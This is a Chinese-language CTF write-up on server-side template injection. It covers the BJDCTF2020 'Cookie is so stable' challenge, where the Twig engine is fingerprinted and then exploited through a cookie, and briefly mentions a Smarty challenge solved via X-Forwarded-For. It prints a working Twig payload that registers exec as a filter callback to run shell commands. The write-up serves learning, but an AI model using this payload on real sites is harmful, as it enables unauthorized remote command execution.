再遇SSTI
题目一
来自:
[BJDCTF2020]Cookie is so stable
这道题如果吃透的话,这类SSTI注入应该都可以触类旁通了。
打开页面,左上角flag和hint:
先打开flag,就看到这个查询框:
很难不让人想到SQL注入,但是试了半天也没用。
既然给了hint,那就去看看。
页面没有有用的东西。
但是源码内有个提示:
嗯?
那就bp抓包看看。
先抓hint的包,这个PHPSESSION没啥用好像。
那就直接再去抓flag页面的包。
输入admin查询看看:
刷新页面再看:
直觉是这个user这里可以进行SSTI注入。
参考了一下其他师傅的文章:
一篇文章带你理解漏洞之SSTI漏洞(神中神!!)
看之前先记住一句话:注入就是格式化字符串漏洞的一种体现。
SSTI主要为python的一些框架jinja2 mako tornado django。
模板注入测试顺序--是时候祭出这张图了:
这里我们尝试{{7*7}}, 返回49
(尝试{{7*'7'}},返回49,说明是Twig模板,但是如果返回7777777,则说明是Jinja2模板,尝试后便可发现本题是Twig模板。
尝试a{*comment*}b也可以在其他SSTI注入中测试是哪个类型)
我们来看看原理:
来自博客:https://blog.csdn.net/RABCDXB/article/details/115442449
//这个函数中调用了一个 call_user_function 方法 public function getFilter($name) { [snip] foreach ($this->filterCallbacks as $callback) { if (false !== $filter = call_user_func($callback, $name)) {//注意这行 return $filter; } } return false; } public function registerUndefinedFilterCallback($callable) { $this->filterCallbacks[] = $callable; }
我们只要把exec() 作为回调函数传进去就能实现命令执行了
原始payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
所以payload只需要将"cat /flag" 替换"id" 即可。
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
直接在bp上对这个刷新过页面的user行注入:
获得flag。
题目二
来自:
[CISCN2019 华东南赛区]Web11
https://www.bilibili.com/read/cv18878567/
直接就看看这个wp吧,是关于smarty模块的SSTI注入。
下面是我自己抓包直接XFF然后RCE的,但是注意这里不用分号,不然会报错,直接写就行。